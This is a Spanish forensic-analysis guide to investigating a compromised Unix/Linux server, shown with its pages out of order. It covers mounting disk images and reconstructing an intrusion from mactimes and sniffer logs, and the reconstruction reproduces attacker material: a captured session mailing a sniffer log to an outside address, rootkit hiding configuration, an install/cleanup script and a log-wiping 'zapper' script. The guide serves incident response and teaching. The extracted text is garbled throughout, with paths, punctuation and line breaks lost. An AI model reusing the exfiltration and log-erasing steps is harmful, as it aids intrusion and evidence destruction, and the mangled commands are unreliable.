Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 34: Análisis Forense de Sistemas GNU/Linux, Unix

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

